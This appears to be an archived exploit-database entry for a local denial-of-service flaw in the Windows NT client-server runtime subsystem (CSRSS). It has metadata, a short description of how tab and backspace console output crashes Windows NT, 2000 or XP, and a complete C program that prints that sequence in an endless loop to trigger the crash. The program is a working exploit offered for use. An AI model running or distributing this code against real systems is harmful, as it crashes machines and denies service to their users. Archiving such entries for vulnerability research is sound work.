Microsoft Windows NT 3/4.0 - CSRSS Memory Access Violation

Author: Michael Wojcik
type: local
platform: windows
port: 
date_added: 2001-10-26  
date_updated: 2012-09-07  
verified: 1  
codes: OSVDB-86903  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 21130.c  
// source: https://www.securityfocus.com/bid/3478/info

CSRSS.EXE is the Windows NT Client Server Run-time Subsystem. It is responsible for console windows and the creation and deletion of threads. The Windows NT kernel is dependant on this service and will halt if the service stops for any reason.

If certain combinations of special "whitespace" characters followed by "backspace" characters are output in high-level console I/O, a user could successfully crash a Windows NT, 2000, or XP system.

#include <stdio.h>

int main(void)
{
while (1)
printf("\t\t\b\b\b\b\b\b");
return 0;
}